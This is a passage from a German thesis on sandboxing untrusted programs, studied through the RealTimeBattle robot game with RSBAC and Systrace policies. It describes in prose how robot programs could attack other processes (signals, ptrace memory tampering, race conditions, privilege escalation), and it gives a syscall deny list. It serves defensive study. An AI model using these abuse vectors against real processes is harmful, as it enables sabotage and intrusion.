Unter den dynamischen Ansätzen existieren eine Menge von bereits implementierten Lösungen, die allein oder in Kombination mit anderen Werkzeugen und statischen Ansätzen die Kriterien eins bis sechs erfüllen können. Im Anhang ist noch einmal eine Übersichtstabelle abgedruckt. Eingriffe bis tief in den Betriebssystemkern hinein sind dabei zumeist erforderlich, um Kriterium sechs zu erfüllen. Jeder Eingriff in das System stellt wiederum einen neuen potenziellen Angriffspunkt dar, minimal invasive Lösungen, die selbst keine speziellen Privilegien benötigen sind bei ausreichendem Schutz zu bevorzugen. Dabei ist eine Sicherheitslösung immer nur so mächtig wie ihr schwächstes Glied. Eingesetzte Komponenten sollten deswegen sorgfältig und nicht nach dem Motto „Masse statt Klasse“ eingesetzt werden. Insbesondere Prototypen sind häufig noch nicht ausreichend getestet, um einen ausgeklügelten Angriff zu widerstehen.

Die nachfolgenden Abschnitte werden einige der hier vorgestellten Konzepte zur Problemlösung einsetzen. Dabei wird auf einige Implementierungen noch einmal detaillierter eingegangen. Durch die Begutachtung der Fallstudien sollte es dem Leser leichter fallen, selbst zu entscheiden, welche Konzepte bei eigenen Problemen einzusetzen sind und wo deren Vor- und Nachteile liegen.

56 Es kämen beispielsweise noch Medusa ([70]) und SubDomain ([27]) in Betracht, welche sich nicht essentiell von den bereits vorgestellten DTE-Systemen unterscheiden.

7. Sichere Ausführung nicht vertrauenswürdiger Programme im Kontext von RealTimeBattle

7.1. Vorstellung von RealTimeBattle

Das erste Fallbeispiel beschäftigt sich mit der Lösung eines Problems, welches bei der Robotersimulation RealtimeBattle zu lösen war. Um dieses Problem charakterisieren zu können, ist es notwendig, zunächst das Prinzip von RealTimeBattle zu erläutern, was am Besten mit Begriffen aus der Automatentheorie ([19]) gelingt.

Jeder Automat in RealTimeBattle ist für die Steuerung eines virtuellen Roboters zuständig, dessen Aktionen von RealTimeBattle auf einem virtuellen Spielfeld angezeigt (im Folgenden auch Umwelt in Analogie zur Automatentheorie genannt) und simuliert werden. Die Befehle zur Steuerung des Roboters werden dabei vom Automat in einer einfach zu erlernenden Protokollsprache ausgegeben und beeinflussen dementsprechend die Umwelt[57]. Über dieselbe Protokollsprache erhält jeder Automat periodisch den aktuellen Einblick seines zu steuernden Roboters in die Umwelt[58].

Um die Interpretation der Eingaben in die Umwelt, die Bereitstellung der entsprechenden Einblicke für die einzelnen Automaten und die grafische Darstellung des Geschehens kümmert sich ein Programm namens RealTimeBattle. Der „Takt“ zwischen den Ausgaben der Automaten und den daraufhin folgenden Einblicken ist weit kleiner als eine Zehntelsekunde, so dass die Illusion einer Echtzeitsimulation entsteht. Gibt ein Automat während dieses Intervalls keine Ausgabe von sich, wird dies wie ein leeres Wort interpretiert und der zu steuernde Roboter erhält keine neuen Anweisungen (bewegt sich aber natürlich weiterhin fort). Die Automaten werden jeweils durch Programme in einer beliebigen Programmiersprache realisiert. Die Ausgabe des zu simulierenden Automaten erfolgt über die Standardausgabe; Einblicke werden über die Standardeingabe übermittelt. Diese Schritte, sowie das Starten und Beenden der Automatenprogramme, ist Aufgabe des bereits erwähnten Programmes RealTimeBattle.

Ziel der virtuellen Roboter (und damit der zugehörigen Automaten) ist es, zusammen im Team oder allein, den Gegnern so viele Energiepunkte abzuziehen, dass vor Beendigung eines Zeitlimits nur noch das eigene Team bzw. der eigene Roboter in der Arena verbleibt. Für jedes Ausscheiden eines Roboters erhalten alle noch existierenden Roboter einen Punkt. Nach Ablauf einer festgelegten Anzahl von Spielen mit unterschiedlichen Arenen und Spielpaarungen gewinnt das Team/der Roboter mit den meisten Punkten aus allen Spielen. Während der Wettkämpfe ist die CPU-Zeit der konkurrierenden Programme zudem reglementiert, so dass ein erfolgreiches Programm neben einer intelligenten Strategie zusätzlich sorgsam mit Ressourcen umzugehen hat.

---

57 Es werden beispielsweise Schüsse abgegeben, das Radar verändert seine Drehrichtung, der Roboter ändert seine Geschwindigkeit.

58 Einblicke wären beispielsweise Kollisions- und Positionsmeldungen, aktueller Energiestand und Objekte, die das Radar identifizierte.

RealTimeBattle ist ein sehr beliebtes Programmierspiel, welches einen hohen Verbreitungsgrad besitzt. Es ist auf über zehn Betriebssysteme[59] portiert worden und in neun verschiedenen Sprachen[60] erhältlich. Ein besonderer Anreiz liegt in der exakten physikalischen Simulation des Spielgeschehens, die mit über 40 physikalischen Größen rechnet, welche frei einstellbar sind. Ein Arenaeditor gibt die Möglichkeit, völlig neue Umwelten zu schaffen, in denen sich die Roboter zurechtfinden müssen. Die stattfindenden Spiele können in eine Logdatei protokolliert werden, so dass die Wettkämpfe auch im Nachhinein immer wieder analysiert werden können[61]. Auf diese Weise ist auch ein Betrieb von RealTimeBattle ohne grafische Darstellung sinnvoll[62]. RealTimeBattle ist Open Source und als solcher unter ([100]) zu finden. Die Weiterentwicklung des Spiels sowie eines Frameworks, welches die Bildung von Teams ermöglicht ([101]), wird von einem ca. 30-köpfigen internationalen Entwicklerteam mit Hilfe der kollaborativen Entwicklungsplattform Sourceforge ([115]) realisiert. Auf den entsprechenden Internetseiten finden sich neben allgemeinen Beschreibungen des Spieles und der verwendeten Protokollsprache, Tutorials, Beispielroboter, Mailinglistarchiven, Foren, Projektplanungsinformationen, Projektstandards und Protokollen der regelmäßigen Meetings auch Dokumente, welche detailliert die interne Struktur von RealTimeBattle als auch die zu Grunde liegende Architektur mittels FMC-, Petrinetz-, Entity Relationship- und UML- Diagrammen beschreiben. Der interessierte Leser kann an dieser Stelle weitere Details über die Simulationssoftware erfahren, welche hier aus Platzgründen ausgespart wurden.

7.2. Charakterisierung des Problems

Nachdem RealTimeBattle einen gewissen Bekanntheitsgrad überschritten und in internationalen Magazinen ([13]) vorgestellt wurde, weiteten sich die Wettbewerbe schnell aus, bis es schlussendlich zu Veranstaltungen von Weltmeisterschaften kam. Bei regionalen Turnieren waren noch alle Programmierer der teilnehmenden Programme dem Veranstalter bekannt und es konnte ihnen vertraut werden. Bei überregionalen Wettbewerben wird das Vertrauen in die Teilnehmer immer weiter erschwert. Es stellt sich immer drängender die Frage, wie garantiert werden kann, dass die eingesandten Programme tatsächlich nur über die Standardein und -ausgabe mit RealTimeBattle kommunizieren und versuchen, das Spiel gemäß den Spielregeln für sich zu entscheiden. Ein beliebiges Computerprogramm könnte schließlich eine Menge tun, um einen „Sieg“ auch auf andere Weise zu erringen. Der „Kampf“ könnte beispielsweise vom Spielfeld auf die Betriebssystemebene verlagert werden. Schickt ein Prozess Signale zu anderen Prozessen, welche darin resultieren, dass diese sich beenden oder kurzzeitig stoppen, wird ein anderer Prozess mutwillig zum Absturz gebracht[63], Prioritäten anderer Prozesse verringert (`nice`-Systemruf), oder gar Speichermanipulationen in anderen Applikationen vorgenommen (`ptrace`-Systemruf), verstößt dies ganz klar gegen die Spielregeln, garantiert aber höchstwahrscheinlich den Sieg des Roboters in der virtuellen Welt. Andere unerlaubte Aktionen könnten sich mit der Ausnutzung von Schwachstellen in der Simulationssoftware RealTimeBattle selbst beschäftigen. Ist die Interpretation der

59 Unterstützte Plattformen sind z.B. Linux, Windows, Mac OS X, Free BSD, Open BSD, Net BSD und Solaris.

60 RealTimeBattle kann u.a. in Deutsch, Englisch, Spanisch, Japanisch, Polnisch, Portugiesisch gespielt werden.

61 Hierbei hilft ein integriertes Statistikmodul und eine Zeitlupenfunktion.

62 Die Simulation wird auf einem Großrechner ausgeführt, die generierten Logfiles auf dem Client abgespielt.

63 Der Angriff geschieht etwa über die Überschreibung von Dateien und Ausnutzung von *Race-Conditions*.

Robotereingaben nicht fehlerfrei programmiert, könnte etwa der Punktestand manipuliert werden oder Einblicke zu anderen Roboterprozessen versandt werden, die gar nicht der simulierten Realität entsprechen. Die Prüfung der CPU Reglementierung von RealTimeBattle könnte umgangen werden, indem zusätzlich gestartete Hilfsprozesse die anfallende Rechenarbeit für ein „unfaires“ Programm erledigen, deren Prozessorzeit nicht berücksichtigt wird. Das übermäßige Anfordern von Betriebssystemressourcen wie Speicher könnte zu einem Abbruch oder zu einer Verlangsamung anderer, am Wettbewerb teilnehmenden Prozesse führen.

Neben den charakterisierten unfairen Szenarien, ein Spiel nicht auf dem Spielfeld zu entscheiden, bedingt die sorglose Ausführung der eingesandten Roboterprogramme eventuell noch viel schwerwiegendere Risiken für die Sicherheit des ausführenden Computersystems. Ein Programm könnte Daten einsehen, löschen, manipulieren, übers Netzwerk verschicken, sämtliche Ressourcen des Betriebssystems belegen, versuchen, das System zum Absturz zu bringen oder durch Ausnutzung von bekannten Schwachstellen höhere Privilegien zu erlangen und es für eigene, möglicherweise illegale Zwecke zu missbrauchen.

Das zu lösende Problem besteht also darin, dafür zu sorgen, dass teilnehmende Roboterprogramme, denen a priori nicht vertraut werden kann,

- keine anderen Prozesse (weder weitere Teilnehmer noch RealTimeBattle selbst) anders als über die in den Spielregeln festgelegten Schnittstellen beeinflussen,
- allesamt die gleichen Bedingungen in Bezug auf die zur Verfügung gestellten Ressourcen (Speicher, Rechenzeit, Reaktionszeit) von der Simulationssoftware garantiert bekommen,
- keine Ressourcen (Dateien, Netzwerkverbindungen, Programme, etc.) benutzen können, die sie nicht ausschließlich zur Realisierung ihrer gemäß den Spielregeln legalen Gewinnstrategie benötigen und
- bereits beim Versuch einer Privilegienerhöhung durch Ausnutzung von existierenden Sicherheitslücken abgebrochen werden.

7.3. Alternative Lösungsvarianten/Rekapitulation

Um das beschriebene Problem in den Griff zu bekommen, existieren grundsätzlich zwei verschiedene Vorgehensweisen. Die statische Analyse probiert vor der Ausführung eines Roboterprogrammes dessen Struktur (z. B. Quellcode) zu analysierenden, eventuell semantisch äquivalente Substitutionen vorzunehmen (diese greifen meistens erst zur Laufzeit) und zu entscheiden, ob die geforderten Randbedingungen bei diesem erfüllt werden können.

Die dynamische Analyse versucht hingegen erst zur Laufzeit zu überprüfen, ob die vom Programm getätigten Aktionen nicht gegen die aufgestellten Verhaltensspezifikationen verstoßen. Neben einer Überwachung der getätigten Systemrufe und deren Parameter können hierbei betriebssystemeigene Konzepte (etwa `chroot`-Käfige, ACLs, `setrlimit`-Konstrukte) genutzt werden, um den Zugriff aus nicht benötigte Ressourcen von Anfang an zu unterbinden. Die benutzten Methoden dürfen die Performance von RealTimeBattle aber auf keinen Fall so weit verschlechtern, dass kein „Echtzeitempfinden“ mehr möglich ist.

Abschnitt 3 stellte zunächst notwendige Kriterien auf, die erfüllt sein müssen, damit statische Analysemethoden von Erfolg gekrönt sein können. Darauf aufbauend untersuchte Abschnitt 4 die Erfüllbarkeit dieser Kriterien, wenn die Programme in den Programmiersprachen C bzw. C++ abgefasst wurden. C und C++ sind die mit Abstand am Häufigsten vertretenen Programmiersprachen, die bei der Realisierung von Robotern für RealTimeBattle verwendet werden, was eine Analyse der eingesandten Programme bei der letzten Weltmeisterschaft zeigte. Beide Abschnitte wurden bewusst sehr allgemein gehalten und gehen nicht konkret auf RealTimeBattle ein. Auf diese Weise fällt eine Übertragung der Ergebnisse auf andere Problemdomänen einfacher. Dies war bei Abschnitt 5 zur dynamischen Analyse ebenfalls angedacht, dessen Ergebnisse nun ebenfalls auf RealTimeBattle angewandt werden sollen.

7.4. Übertragung der Ergebnisse statischer Analysemethoden auf RealTimeBattle

Sieht man sich die herausgestellten notwendigen Kriterien für den Erfolg statischer Quellcodeanalyse an, so wird schon im ersten Kriterium klargestellt, dass auf jeden Fall der Quellcode des Roboterprogrammes vorhanden sein muss. Diese Einschränkung ist aber in den Wettbewerbsregeln von RealTimeBattle nicht vorgeschrieben. Einige Entwickler fürchten, dass bei Freigabe ihres Quellcodes Konkurrenten einfach ungefragt die besten Ideen und Algorithmen übernähmen und damit der mühsam erarbeitete Innovationsvorsprung verloren ginge. Weiterhin wäre eine genaue Analyse der angewandten Erfolgsstrategie möglich und andere Roboter könnten diese gezielt ausnutzen. Auf diese Weise rentiere sich jahrelange Arbeit auf gar keinen Fall.

Das Gegenargument von Kritikern, an dieser Stelle würde nur eine Art S*ecurity-by-Obscurity* betrieben, ist in diesem Fokus nicht unbedingt einleuchtend, da es sich bei RealTimeBattle um einen Wettkampf handelt, der in gewisser Hinsicht vergleichbar ist mit dem marktwirtschaftlichen Umgang zwischen Mitbewerbern, welche ebenfalls auf keinen Fall ihre Geschäftsgeheimnisse preisgeben wollen. Eine statische Analyse auf Quellcodebasis ist für diese Roboterprogramme also nicht anwendbar. Andere Einsender liefern zwar ihren Quellcode mit, verbitten sich aber ungefragte Änderungen, was Methoden der Quellcodesubstitution ausschließt.

Sind die geschilderten Einschränkungen alle nicht gegeben, könnte eine statische Quellcodeanalyse zur Lösung des geschilderten Problems genutzt werden. Da die Roboterprogramme jedoch in beliebigen Programmiersprachen geschrieben wurden, müssten diese alle unterstützt werden, was in der Praxis ein aussichtsloses Unterfangen darstellt.

Schränkt man nun die unterstützte Sprachmenge auf C und C++ ein[64], so zeigt die in Abschnitt 4 angestrengte Untersuchung, dass für diese Sprachen keine praktisch durchführbare, automatische Analysemethode gefunden werden kann, welche die aufgestellten Kriterien und damit das spezifizierte Problem lösen könnte, so lange nicht auf die Nutzung von Standardbibliotheken und Konzepte wie Zeigerarithmetik verzichtet wird. Allenfalls eine sehr schwierig und langwierig zu implementierende Quellcodesubstitution mit einem großen zusätzlichen Aufwand zur Laufzeit könnte einige Teilprobleme lösen (bei für Echtzeitsimulationsverhältnisse schlechter Performance). Alle hier untersuchten

64 Die meisten Roboter, sowie diejenigen, welche bei den Meisterschaften die vordersten Ränge belegten, waren in C bzw. C++ geschrieben.

Implementierungen ließen jedoch Sicherheitslücken[65] offen und konnten insbesondere die faire Verteilung von Ressourcen nicht garantieren. Zudem schränkten sie größtenteils die Mächtigkeit von C/C++ und der erlaubten Bibliotheken und Konzepte sehr stark ein, so dass viele Roboterprogramme nicht mehr lauffähig waren. Die eigentliche Überprüfung würde in diesem Fall wie bereits erwähnt erst zur Laufzeit stattfinden und damit in den Fokus der dynamischen Analyse rücken.

Zusammenfassend kommt für die Lösung des Anfangsproblems also nur eine dynamische Analyse und die Beschränkung der verwendeten Ressourcen mit Betriebssystemmitteln in Frage.

7.5. Übertragung der Ergebnisse dynamischer Analysemethoden auf RealTimeBattle

Ohne Frage gibt es im Bereich der dynamischen Analyse gleich eine Menge Ansätze, um das skizzierte Problem zu lösen. Um aus den Grundkonzepten aus dem vorhergehenden Kapitel und den dort skizzierten Implementierungen eine geeignete Auswahl treffen zu können, die dann letztendlich für RealTimeBattle benutzt werden wird, müssen an dieser Stelle einige Auswahlkriterien und „Wünsche“ formuliert werden.

Auf jeden Fall muss die endgültige Implementierung sämtlichen Anforderungen des Problems entsprechen und die Ausführung der Roboterprogramme nur unwesentlich verlangsamen. Darüber hinaus sollte sie möglichst wenig zusätzlichen Implementierungs- und Konfigurationsaufwand erfordern. Die Lösung sollte einfach verständlich, kurz und prägnant sein. Es wäre weiterhin wünschenswert, wenn die erforderlichen Komponenten frei verfügbar wären, viele Plattformen unterstützt und keine tiefen Systemeingriffe (wie Kernelmodifikationen) oder *Superuser*-Rechte benötigt würden. Die zuletzt genannten Punkte sind jedoch nur optional und nur bei an sonst gleichwertigen Alternativen ausschlaggebend.

Aus den nun motivierten Kriterien ließ sich der Lösungsraum relativ schnell auf eine überschaubare Anzahl von Alternativen beschränken. Rein betriebssystemeigene Mittel reichen zur Lösung des Problems leider nicht aus.

So muss RealTimeBattle in der Lage sein, Signale zu Robotern zu senden und folglich unter der selben Benutzerkennung wie seine Kindprozesse gestartet werden. Damit laufen alle Kindprozesse unter derselben Benutzerkennung und können sich ebenfalls gegenseitig Signale schicken, was eindeutig gegen die Sicherheitsrichtlinien verstößt. Aus dem gleichen Grund können auch nutzerspezifische Dateirechte nicht zum Tragen kommen.

Selbst wenn diese Probleme mit Hilfe von *Superuser*-Rechten oder speziellen *Capabilities* für RealTimeBattle sowie suid-Bits für die Roboterprogramme gelöst werden und jeder Prozess unter einer eigenen Nutzerkennung laufen würde (vermutlich in einem `jail/ chroot` – Käfig) wäre die selektive Gestattung der Nutzung von Interprozesskommunikations- und Netzwerkressourcen trotzdem nicht halbwegs plattformunabhängig zu bewerkstelligen. Weiterhin müsste man als *Superuser* viele Pseudonutzer anlegen und hätte sich durch die Privilegienerhöhung neue potenzielle Sicherheitslücken eingehandelt.

65 Größte Schwächen: Funktionszeiger, Polymorphie, native Methoden und Interaktion mit anderen Prozessen.

Um die aufgestellten Kriterien für die sichere Ausführung nicht vertrauenswürdiger Programme vollständig erfüllen zu können, kann von den im vorhergehenden Kapitel beschriebenen dynamischen Konzepten nur ein auf *System-Call-Interposition* bzw. *Domain-Type-Enforcement*/ACL-basiertes System in Kombination mit betriebssystemeigenen Mitteln genutzt werden.

Um die verschiedenen Ansätze miteinander vergleichen zu können, wurden sowohl Prototypen einer Lösung mit RSBAC als auch mit Systrace erarbeitet.

7.5.1. Vorstellung der RSBAC basierten Lösung

Im Falle von RSBAC wurde jedem Roboterprogramm eine spezifische Rolle zugewiesen. Anschließend wurden sämtliche Ressourcen, welche die Programme zur Ausübung ihrer Tätigkeit unbedingt benötigten (gemäß dem Least-Privilege-Access-Prinzip), zu Typen zusammengefasst und festgelegt, wie die einzelnen Rollen auf diese Typen zugreifen dürfen. Waren verschiedene Roboter in einem Team, so dass ihnen nach den Statuten von RealTimeBattle Kommunikation gestattet war, durften die korrespondierenden Rollen jeweils alle auf eine Reihe von Typen zugreifen, die Kommunikationsressourcen wie Socketschablonen[66] enthielten. Eventuell hätte sich an dieser Stelle auch die Nutzung des von RSBAC unterstützten Kozeptes der Prozesskäfige angeboten. In jedem Fall wird die Beeinflussung der Umgebung durch die Roboterprogramme wirkungsvoll verhindert. Angriffe auf RealTimeBattle selbst sollten durch den Einsatz des RSBAC PAX Moduls ebenfalls sehr unwahrscheinlich zum Erfolg führen. Die geforderte Ressourcenbeschränkung konnte mit dem RSBAC RES-Modul, welches Ressourcenlimits an einer Rolle binden kann, ebenfalls gelöst werden.

Obwohl die DTE/ACL basierte Lösung mit RSBAC sämtliche Sicherheitskriterien und Forderungen erfüllte, wurde sie dennoch nicht weiterentwickelt. Dies hatte die vielfältigsten Gründe. Zunächst erforderte die Integration von RSBAC und PAX eine Menge von Änderungen im Linux Kernel mit den schon häufig diskutierten Sicherheitsrisiken. Weiterhin würde RSBAC und PAX die Nutzung der Lösung nur auf das Betriebssystem Linux einschränken. Zu guter Letzt war die Erstellung der Richtlinien alles andere als flexibel und einfach. Die Einrichtung der Rollen, die Zuweisung von Objekten an Typen und die Aufstellung von Zugriffsmatrizen (insbesondere für Roboter in einem Team) erforderte eine Menge Arbeit, die für jeden neu hinzukommenden Roboter wiederholt werden musste[67]. Ändert sich eine Teamkonstellation, müssen ebenfalls viele Regeln modifiziert werden. RSBAC ist zwar keine Lösung, die nur auf *Mandatory-Access-Control* aufsetzt, jedoch dürfen Änderungen an der Zugriffsmatrix und der Zuordnung von Programmen an Rollen und Objekte an Typen standardmäßig nicht von normalen Benutzern sondern nur vom Security Officer oder einer von ihm benannten Rolle (bzw. der dahinter stehenden Personengruppe) geändert werden. Somit benötigt zumindest die Konfiguration des Prototypen privilegierte Rechte.

66 Socketschablonen parametrisieren die Menge aller erlaubten Sockets, an die sich verbunden, bzw. die gebunden werden können.

67 Hier bietet RSBAC zum Glück eine Vererbung von Rollenberechtigungen an.

7.5.2. Vorstellung der Systrace basierten Lösung

Die mit Systrace bis zum tatsächlichen Einsatz entwickelte Lösung hat die geschilderten Probleme nicht. Lediglich ein kleiner Teil der *Policy-Engine* dieser auf *System-Call-Interposition* basierenden Lösung befindet sich im *Kernel-Space*, um nicht anfällig für *Race-Conditions* zu sein. Jeder Nutzer kann Systrace nutzen und seine eigenen Richtlinien für Programme aufstellen, wobei die Erstellung dieser automatisiert werden kann und mit Hilfe einer sehr verständlichen Syntax geschieht. Systrace kann sowohl auf Net BSD, Open BSD, Linux, Mac OS X und Free BSD betrieben werden und schränkt damit die Portabilität der Lösung nicht zu stark ein. Natürlich hat jedes der unterstützten Betriebssysteme ein anderes Repertoire an Systemrufen, so dass erzeugte Richtliniendateien für ein System erst einmal überarbeitet werden müssen. Die Überarbeitung gestaltet sich jedoch weniger schwierig als man vielleicht vermuten würde, da Systrace viele Systemrufe unter einem generischen Namen zusammenfasst und eine große Schnittmenge der Systemrufe bei Unixderrivaten besteht.

Leider schwankt die Qualität der Implementierungen von Systrace von System zu System. Während das Tool ein fester Bestandteil im Open BSD Kernel geworden ist und dort schon lange Produktreife erlangt hat, lassen die übrigen Portierungen noch einige Wünsche offen. Zur Zeit wird mit den Autoren von Systrace zusammengearbeitet, um eine ähnliche Qualität der Linux Portierung zu erreichen. Genau wie die auf RSBAC basierende Lösung ist auf jeden Fall keine einzige Änderung an RealTimeBattle selbst erforderlich.

Stattdessen wird das eigentliche Roboterprogramm durch ein Wrapperskript ersetzt, welches zunächst sämtliche Ressourcennutzung beschränkt (Aufruf von ulimit) und dann das eigentliche Programm durch Systrace mit einer Systemrufrichtliniendatei startet. Sowohl die Generierung des Wrapperskripts als auch der Richtliniendatei wird vom ebenfalls sehr portablen Programm create_guardedrobot.sh automatisch getätigt. Die Richtliniendatei besteht standardmäßig (wenn keine andere gewünscht wird) aus einem allgemeinen Teil, einem teamspezifischen Teil und einem roboterspezifischen Teil.

Im allgemeinen Teil wird die Tätigung einiger primitiver Systemrufe und der Lesezugriff auf wichtige Bibliotheken gestattet. Die hier angeführten Regeln ergaben sich aus der Kumulierung und Generalisierung aller Systemrufe mit ihren Parametern, die bei 20 untersuchten, vertrauenswürdigen Robotern auftraten. Sie sind für die Sicherheit des Systems nach Auffassung vieler Autoren, welche selbst vor dem Problem standen, „harmlose“ Systemrufe für ihre Arbeiten im Bereich *System-Call-Interposition* zu klassifizieren ([127], [14], [74]), vollkommen unbedenklich. Bei Bedarf kann dieser Teil erweitert werden, es sollte jedoch nicht eine Erweiterung „nur für den Fall“ erfolgen, obwohl noch kein konkreter Bedarf festgestellt wurde. Jeder Entwickler kann mit dem Dienstprogramm strace überprüfen, welche Systemrufe sein Roboter benötigt und gegebenenfalls um deren Aufnahme bitten. Sicherheitsproblematische Systemrufe wie `fork, clone, exec, ptrace, fcntl, ioctl` oder `kill` sind grundsätzlich als verboten gekennzeichnet.

Im teamspezifischen Teil bekommt jedes Team Schreib- und Lesezugriff auf ein bestimmtes Verzeichnis, in dem (und nur in dem) es ebenfalls *Unix-Domain-Sockets* erzeugen, bzw. sich an diese verbinden darf. Im roboterspezifischen Teil erhält jeder Roboter lesenden Zugriff auf seine (optionale) Konfigurationsdatei, welche ihm als Parameter vom Wrapperskript übergeben wird, als auch auf sein eigenes Programm (nötig für Skriptsprachen wie Perl). Das

Programm create_guardedrobot.sh kann bei Bedarf noch weitere roboterspezifische Regeln hinzufügen.

Es ist sogar so konfigurierbar, dass noch während eines Spieles die Nutzung von Systemrufen mit ihren Parametern, deren Benutzung weder explizit erlaubt noch verboten wurde mittels einer grafischen Benutzeroberfläche dauerhaft oder einmalig erlaubt bzw. verboten werden kann. Vor einem Turnier werden deshalb noch einige Probeläufe getätigt, in denen die Richtliniendateien individuell angepasst werden können, sofern die noch fehlenden Regeln nicht gegen die Sicherheitskriterien von RealTimeBattle verstoßen. In der Praxis reichte bis jetzt jedoch die standardmäßige Richtliniendatei vollkommen aus. Sind die Richtlinien einmal festgelegt, kann create_guardedrobot.sh so für den Roboter aufgerufen werden, dass das generierte Wrapperskript Systrace anweist, sämtliche abweichenden Systemrufe mit ihren Parametern zu verbieten und den Versuch zu protokollieren. Sollte es nötig sein, roboterspezifische Änderungen im Wrapperskript selbst vorzunehmen (etwa um Ressourcenlimits zu ändern), bietet create_guardedrobot.sh eine Option dafür. Ebenso lässt sich steuern, ob statt einer grafischen Benutzeroberfläche eine textbasierte genutzt werden soll und ob für den Start eines Roboters ein eigener Prozess erzeugt oder sein Programmcode in den Adressraum des Wrapperskripts geladen werden soll. Das Tool offenbart beim Start ohne Parameter noch jede Menge weiterer Optionen, die hier nicht genannt werden. Der komplette Quellcode von create_guardedrobot.sh ist im Anhang enthalten.

7.6. Fazit

Die Performance der mit Systrace realisierten Lösung ist ausreichend hoch, so dass bei einer überschaubaren Anzahl von gleichzeitig konkurrierenden Robotern kein Unterschied zu einer ungesicherten Ausführung auffällt. Dies liegt daran, dass Roboter nach ihrer Initialisierungsphase in aller Regel nur noch sporadisch Systemrufe tätigen[68], die zudem auch noch uneingeschränkt sofort von der *Policy-Engine* im *Kernel-Mode* erlaubt werden, so dass kein Kontextwechsel zum Systrace Prozess erforderlich ist. Da die Systrace Überwachungsprozesse jedoch zunächst einmal gestartet werden müssen, empfiehlt es sich, eine etwas längere *Robot-Startup-Time* in den RealTimeBattle Optionen einzustellen. Die gleichmäßige Verteilung der Rechenzeit an alle Roboter ist Aufgabe des *Schedulers* des jeweiligen Betriebssystems. Alle Roboterprozesse bekommen die selbe Priorität zugewiesen, welche unter der von RealTimeBattle selbst liegt, so dass das Simulationsprogramm im Zweifelsfall den Vorzug erhält. Standardmäßig wird der klassische preemptive Unix Aging Algorithmus für das Scheduling benutzt, so dass nicht von harter Echtzeit gesprochen werden kann. Bei einem Wettbewerb empfiehlt es sich deshalb, eine Maschine mit möglichst vielen Prozessoren einzusetzen.

Die Richtlinien werden von der RealTimeBattle Community größtenteils akzeptiert, was vor allem der Tatsache zur verdanken ist, dass nur selten bestehender Code modifiziert werden musste, um diesen zu genügen. Lediglich das Verbot der Systemrufe `fork` und `clone` sorgt und sorgte für einige Irritationen, da in Java geschriebene Roboter standardmäßig nicht mit unter sechs Threads auskommen und ein Shell-Skript normalerweise ebenfalls mehr als einen Thread benötigt. Andere Skriptsprachen wie Perl, Python oder PHP sind nicht so „ressourcenhungrig“ und geben sich mit einem Thread zufrieden. Da jedoch nach den

68 Nach der Initialisierung treten größtenteils nur noch die Systemrufe `read, write, select, pause` und `poll` zur Kommunikation mit RealTimeBattle und Teamkollegen auf.

Wettbewerbsregeln von RealTimeBattle jeder Roboter die gleiche Anzahl an maximaler Rechenzeit bekommen soll, sind Programme mit mehr als einem Thread verboten, da diese Einschränkung ansonsten nicht portabel (mittels ulimit) erzwungen werden könnte. Ein Kompromissvorschlag wäre allenfalls, ein Shell-Skript bzw. ein Java-Programm gegen ein Team mit zwei bzw. sechs „normale“ Roboter antreten zu lassen, schließlich bekommen das Team die selbe Rechenzeit zugestanden.

Ein bestehendes Problem bleibt die Beschränkung von Plattenplatz für die Roboterprogramme. Da sie aus bereits genannten Gründen alle unter derselben Benutzerkennung laufen müssen, kann nur ein gemeinsames Diskquota und die Maximalgröße einer Datei (aber nicht die Anzahl der erzeugten Dateien) gesetzt werden. Eine Möglichkeit das Problem zu lösen wäre es, Schreibzugriffe komplett zu verbieten. Auf diese Weise könnten jedoch keine Logdateien mehr geschrieben werden. Grundsätzlich ist auch denkbar, jedes teamspezifische Verzeichnis auf jeweils gleich große (oder mit gleichen Quotas beschränkte) Partitionen zu verteilen. Dieser Eingriff würde jedoch wieder privilegierte Rechte erfordern.

Als letzte Frage drängt sich nun noch auf, wie RealTimeBattle selbst vor Angriffen seiner Roboter geschützt werden kann, denn schließlich muss es mit ihnen kommunizieren. Die relevanten Codeabschnitte wurden deshalb von mehreren Entwicklern einem informalen Review unterzogen und komplett resistent gegen fehlerhafte Eingaben gemacht. Weiterhin wurde dafür Sorge getragen, dass kein Roboterprogramm durch eine Nachrichtenüberflutung die Simulationssoftware dazu bringen kann, sich nicht mehr um die Bedürfnisse der anderen Roboter zu kümmern. In jeder Zeitscheibe wird nur eine begrenzte Datenmenge von jedem Programm verarbeitet, ganz egal, ob dieses noch wesentlich mehr zur Verfügung stellt.

Für die Zukunft ist denkbar, zusätzliche Mechanismen zur Härtung bestehenden Codes einzusetzen, wie sie schon im vorherigen Kapitel vorgestellt oder mit dem PAX Modul von RSBAC[69] realisiert wurden. Eine statische Analyse des Quellcodes von RealTimeBattle würde unter Umständen ebenfalls weitere Sicherheitslücken offenbaren können, auch wenn ein erfolgreicher Durchlauf bei Beibehaltung der Komplexität des Quellcodes durch jegliches Analyseprogramm aus den bekannten Gründen keine Immunität vor Attacken garantieren kann. Nur ein von Menschen geführter formaler Beweis könnte hier absolute Sicherheit schaffen.

7.7. Verwandte Arbeiten

In den referenzierten Abschnitten wird jeweils auf Arbeiten auf dem Gebiet der dort behandelten Fragestellung eingegangen und entsprechende Literaturverweise angegeben. Das in diesem Abschnitt charakterisierte Problem ist so speziell, dass es noch keine weiteren Arbeiten dazu gibt. Allenfalls der Quellcode von RealTimeBattle enthielt bereits in früheren Versionen Codefragmente, um Rechenzeit zu reglementieren und die Benutzung einiger Betriebssystemressourcen einzuschränken. Die hier getroffenen Vorkehrungen sind jedoch auf keinen Fall ausreichend gewesen, um die Einhaltung der Spielregeln komplett zu garantieren. Eventuell können die Ergebnisse auf andere Programmierspiele und Programmierwettbewerbe übertragen werden.

69 PAX ist ein eigenständiges Projekt und kann auch losgelöst von RSBAC benutzt werden.

8. Sichere Ausführung nicht vertrauenswürdiger Programme im Kontext von Asparagus

8.1. Vorstellung von Asparagus

Asparagus ([7], [8]) ist ein webbasiertes Benchmarksystem für Programme im Bereich der Antwortmengenprogrammierung. Es wird an der Fakultät für Informatik der Universität Potsdam entwickelt. Antwortmengenprogrammierung ([106]) kombiniert die Ergebnisse logischer Programmierung mit denen der Wissensrepräsentation, deduktiven Datenbanken und des nichtmonotonen Schließens. Als Schnittmenge zwischen künstlicher Intelligenz und Logik ist Antwortmengenprogrammierung in den Domänen Handlungsplanung, Scheduling, Konfigurierung, Model Checking als auch im kryptographischen Bereich und zu Diagnosezwecken vielseitig einsetzbar.

